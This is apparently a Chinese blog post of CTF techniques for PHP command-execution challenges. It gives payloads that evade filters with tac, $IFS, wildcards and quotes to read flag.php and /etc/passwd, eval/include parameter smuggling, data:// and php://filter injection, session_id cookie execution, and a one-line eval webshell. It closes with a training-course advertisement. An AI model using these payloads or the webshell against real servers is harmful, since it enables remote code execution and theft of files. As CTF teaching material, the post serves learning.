【Ctfer训练计划】——命令执行的解题技巧(持续更新中)

作者名:Demo不是emo

主页面链接:主页传送门**
创作初心:一切为了她
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:web安全,后渗透技术**

**每日emo:**真的还有相见的机会吗

目录

一、关键字绕过

1、cat限制绕过

2、$限制绕过

3、点号限制绕过(2023.1.4)

4、空格限制绕过

5、php限制绕过

二、另类变形写法

1、eval双重参数覆盖(2022.12.31)

2、include双重参数覆盖(2023.1.3)

3、闭合双重参数绕过(2023.1.5)

4、data伪协议配合include函数命令执行

三、奇淫巧技思路

1、另类种马思路(2023.1.3)

2、highlight_file高级显示(2023.1.4)

3、字符串匹配(2023.1.4)

4、get_defined_vars()高级显示

5、session_start()配合session_id()命令执行

四、常见操作

1、通配符匹配(2023.1.4)

2、连接符绕过(2023.1.4)


命令执行 也是ctf题型中比较常见的,这这些天ctf的训练中我也学到了很多新姿势,就想着写个博客记录一下,希望也能对大家解这类型的题提供帮助和思路

因为我还在不停的练习ctf,所以会不断记录一些新奇的解题姿势 ,也就是这篇博客会持续更新,建议点赞关注

一、关键字绕过

1、cat限制绕过

在真实环境的命令执行漏洞的过滤中,cat命令一直是防范的重点,那cat命令被写死无法绕过的时候就可以试试这个命令——tac

可能很多小伙伴没听过过这个命令,其实这个命令功能跟cat命令 差不多,看下面这个图你应该就明白了,这两个命令效果差不多

cat exp.py

tac exp.py

怎么样,这下清楚了吗?cat是从上往下查看
,tac就是从下往上就查看
而已,但是tac命令知道的人少,所以很多都没有对tac命令进行一个过滤,所以cat命令被过滤时就可以尝试使用tac命令

顺带提一嘴,当cat和echo这些被过滤得很严重时,可以用cp命令把flag文件复制为txt文件,直接浏览器访问,这也是一种很好的方法

2、$限制绕过

命令 和**$(命令)** 都是执行命令的方式

反引号是命令替换,命令替换是指Shell可以先执行中的命令,将输出结果暂时保存,在适当的地方输出。语法:command

实例如下,可以看到同样的系统命令使用这两种方法 都能执行,下面这两个命令的效果就相同

echo $(ifconfig);

echo `ifconfig`;

跟上面的tac是一个道理,$(命令) 的方法被大多数人熟知,一般都存在过滤,而**命令** 的方法相对来说被过滤的可能性就低了许多

3、点号限制绕过(2023.1.4)

这个就是当点号(.)被过滤时使用,也没啥好讲的,就是用下面这个替换就可以了

pos(localeconv())

localeconv() 函数 返回一包含本地数字及货币格式信息的数组。其中第一位就是点号

pos()函数 就是取数组的第一位元素并返回,所以就得到了点号

4、空格限制绕过

这个也没啥好讲的,下面这两种任意一种都能够达到空格的效果

%09


$IFS$9

以上两种任选一种替换空格都可以

5、php限制绕过

php的限制一般是用于防止后缀和嵌套php文件

后缀的话一般就用通配符就可以绕过了

限制嵌套php文件的话,若对传入的c进行php的过滤,那该怎么绕过呢?

例如原有这样一个语句

?c=data://text/plain,<?php system("cat flag.*hp");?>

那就可以用如下语句代替

?c=data://text/plain,<?= system("cat flag.*hp");?>

等于号 可以代替php文件标识处的"php"

可以看到,这样仍能执行

二、另类变形写法

1、eval双重参数覆盖(2022.12.31)

就是将eval()函数的参数的值用另外一个参数传入,例如,这两句话效果是相同的

c=eval(phpinfo());

c=eval($_GET[1]);&1=system(phpinfo());

都能达到显示phpinfo的目的,如下


这个还是很有用的,用的也比较多

2、include双重参数覆盖(2023.1.3)

上面的eval()函数也可以换成include(),并且include可以不要括号,但是得配合伪协议中的php://filter来使用,如下

c=include($_GET[1])?>&1=php://filter/read=convert.base64-encode/resource=flag.php

或者加上括号也可以,如下

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php


这就是经过base64编码后的flag.php的内容

注意,这里的第二个参数,也就是要覆盖的参数(如上面的1)的值不仅仅只能是php的filter的伪协议
,还可以使用其他的伪协议,例如data伪协议 ,如下

c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>

3、闭合双重参数绕过(2023.1.5)

这个也用的非常多,在ctf题中一般就是让你传入一个值,对这个值进行大量的过滤和限制让你绕过,此时我们传入这个参数,但同时在值中引用其他变量,并直接构造闭合,如下

url/?c=eval($_GET[a]);>

此时过滤手段就会对c变量进行过滤和限制,但c我们其实没有太多敏感字符,此时我们再构造如下代码

url/?c=eval($_GET[a]);>&a=system(cat flag.php);

这样后面的a的内容就不能被检测出来,很多同学一看,诶,这和上面的思路有什么区别吗?自然是有的,上面我们只闭合了一次,再来看看这段代码

c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

可以看到这个姿势就更厉害了,c根本没有内容,那自然就不存在被过滤限制的情况,还能达到通过include检测文件的功能,岂不美哉?

4、data伪协议配合include函数命令执行

来看一个很熟悉的函数

include(filename)

这里要将的方法就是include()函数其实是可以导致命令执行的,那就是配合data协议,当然也是有限制的,限制的就是

php.ini里面的allow_url_fopen和allow_url_include均为开启状态

例如现在有一环境,需要我们传入c变量,传入的c将作为include函数的参数被执行,使用手法大概有如下三种

1、正常形式 ?c=data://text/plain;base64,<?php system('cat flag.php');?>

2、编码形式 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

3、url形式  ?c=data://text/plain,%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%66%6c%61%67%2e%70%68%70%27%29%3b%3f%3e

第一种是正常形式,但是开发者一般都对传入的参数有限制,特别是ctf题目,所以用处不大,用的最多的还是第二种 ,编码一般就能把过滤给绕过了

第三种主打的就是一个出其不意,算是冷门招数,将后面我们要执行的语句全部换为url编码也可以执行

三、奇淫巧技思路

1、另类种马思路(2023.1.3)

这个方法怎么说呢,有点另辟蹊径的感觉,大多数ctf题的命令执行都是对一些系统函数进行绕过,并没有限制写入文件什么的,所以可以直接利用file_put_content()函数或者其他的写入文件的函数,直接写一句话木马然后连接,一样能看到flag,如下

file_put_contents("abc.php", '<?php eval($_POST["cmd"]); ?>');

但有些出题人也会把权限写死,所以这种方法还是比较看运气的

2、highlight_file高级显示(2023.1.4)

这种方式就比较高级了,我们模拟一个需要以GET方式传入c,并会执行eval©的代码,同时在该目录下存在flag.php
index.php ,现在要求通过传入c变量来读取flag.php的内容,那下面这个方式传参就能达到目的,如下

?c=highlight_file(next(array_reverse(scandir("."))));

可能有些小伙伴连这段代码中的函数都不认识,这里先给大家介绍一下

scandir() :是PHP中的一个函数,它可以用于扫描目录中的文件。它接受一个目录的路径作为参数,并返回该目录中文件的名称列表。

当你将 “.” 作为参数传递给 时,它将返回当前目录中 的文件的名称列表。例如,如果当前目录中有文件 “file1.txt” 和
“file2.txt”,那么 将返回数组 。scandir()``scandir(".")["file1.txt", "file2.txt"]

array_reverse() :是PHP 中的一个函数,它可以将数组中的元素反转,并返回反转后的数组。

next() :PHP 中的一个函数,它用于将数组的内部指针向后移动一个单位。它返回数组中当前指针位置的下一个元素的值。

highlight_file() : PHP 中的一个函数,它可以将文件的源代码转换为
HTML,其中的语法高亮显示。这对于展示文件的源代码或调试代码非常有用。

再来看看这条命令

 ?c=highlight_file(next(array_reverse(scandir("."))));

scandir(“.”) 读取了当前文件夹的全部文件,并返回以文件名作为元素的数组

array_reverse(scandir(“.”)) 将结果字符串倒向,此时数组第一个元素是当前文件夹下最后一个文件,以此类推

next(array_reverse(scandir(“.”)))
将内部指针向后移一位,内部指针最初执行第一位元素,现在指向第二位元素,也就是倒数第二个文件

highlight_file(next(array_reverse(scandir(“.”))))
此时highlight_file()的参数就是当前文件夹目录下倒数第二个文件名,所以就会把这个文件的内容高亮处理并显示在浏览器上

因为我们的环境当前目录下只有两个文件,
第一个是flag.php,第二个是index.php,所以此时浏览器上显示的就是flag.php的内容,大家理解了吗?

有很多同学会问,这里只有两个文件,为什么要转向再用next()取到倒数第二个文件名(也就是第一个文件),而不是直接使用第一个文件名,即highlight_file(scandir(“.”)),

那是因为这样会报错,当然具体的原因我暂时还不清楚,后面会了解后再来修改这里,同时在在这里也给大家介绍一个新的函数——reset()

reset()函数 的作用就是将数组内部指针重新移动到第一个元素,跟next()函数换着用就可以。

同时还有show_source()函数 ,该函数和highlight_file()函数功能差不多,被过滤时也可以替换为这个试试。

ctf题一般当前目录下放着就是两三个文件,所以还是很实用的

3、字符串匹配(2023.1.4)

环境和上面一样,传入的c会被eval执行,要求读取到flag.php的内容,这个就是利用grep进行字符串匹配,绕过姿势如下

c=system("cat fl*g.php | grep  -E 'fl.g' ");

具体来说,它会使用系统的 “cat ” 命令来输出文件名以 “fl” 开头且以 “g.php” 结尾的文件内容,并使用 “grep”
命令过滤掉不包含 “fl.g” 的行。最后,这个命令的输出会被赋值给变量 $c。

4、get_defined_vars()高级显示

这里假设的环境还是传入一个c变量,c变量会作为eval()函数的参数被执行

这里的高级用法涉及的函数如下

get_defined_vars() :返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

**array_pop() :**是删除并返回数组最后一个元素。

current() :返回数组中的当前元素的值。

next() :返回数组中的下一个元素的值。

由于get_defined_vars() 返回的是一个多维数组,我们用current()可以获取到GET数组
用next()可以获取到POST数组 ,然后用array_pop() 取出POST数组里面的最后一个元素,再用eval
执行就可以造成命令执行

先用get方式传入一个c变量 ,值如下

url/?c=eval(array_pop(next(get_defined_vars())));

再用POST方式以cmd 传入我们的恶意命令,例如系统命令

cmd=system("ls");

也可以传入phpinfo()之类的函数,效果如下

5、session_start()配合session_id()命令执行

这里的模拟环境也是传入一个c变量 ,绕过一些限制后作为eval的参数执行,则有如下两种方式 可造成命令执行,

第一种

get传参如下

c=session_start();system(session_id());

先来看看其中的函数

session_start() 函数用于创建一个新会话

session_id() 函数用于获取当前会话(即cookie)

system 函数用于执行系统命令

此时传入的cookie就会被作为system函数的参数,造成命令执行

传入的cookie可以通过burp抓包修改 或者f12中直接修改

如下

效果如下

可以看到已经成功执行了我们的ls命令

同时这里cookie的值因为是被session_id()函数取出来的,session_id()函数并不能识别空格,但是这里也支持base64编码和写入小马,所以还是很好用的

但这种方法也有一个很大的弊端,那就是受php版本影响 ,只有5.5 -7.1.9
可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容,但是符合规定的还是可以的,比如我们这里的ls命令,那当然base64编码后可能就不行了,这是需要注意的

第二种

get传参如下

c=show_source(session_id(session_start()));

show_source() 函数:对文件进行语法高亮显示。

那此时cookie的值就会作为show_source()函数的参数,被show_source()函数读取并显示在浏览器上,如下

![在这里插入图片描述](https://img-
blog.csdnimg.cn/0d607f6735654b27adad90a40c0b511f.png?x-oss-
process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAS3JhZHJlc3M=,size_20,color_FFFFFF,t_70,g_se,x_16)

这里的show_source()可以换成highlight_file(),两个效果一样

但需要注意的是这种方法同样都有php版本限制 ,因为使用了session_id()获取了cookie的值

四、常见操作

1、通配符匹配(2023.1.4)

常见的通配符如下

符号含义
匹配单个字符如果匹配多个字符,就需要多个?连用
  • | *代表任意数量的字符
    [ ] | 代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 可能是 a, b, c, d 这四个任何一个

例如

一个常用的读取密码命令如下

cat /etc/passwd

使用了?通配符之后,他就可能有很多种变化,比如这两种,而这些亲测都是可以使用

​​​​​​​cat /?tc/?as?wd
cat /*tc/*as*wd

这里需要注意的也是一样,不要局限自己的思维,几种通配符也是可以搭配使用的

2、连接符绕过(2023.1.4)

单引号‘’,双引号“”,反斜杠` 如:

c'a't' /'e't'c'/'p'a's's'w'd 

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 11
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值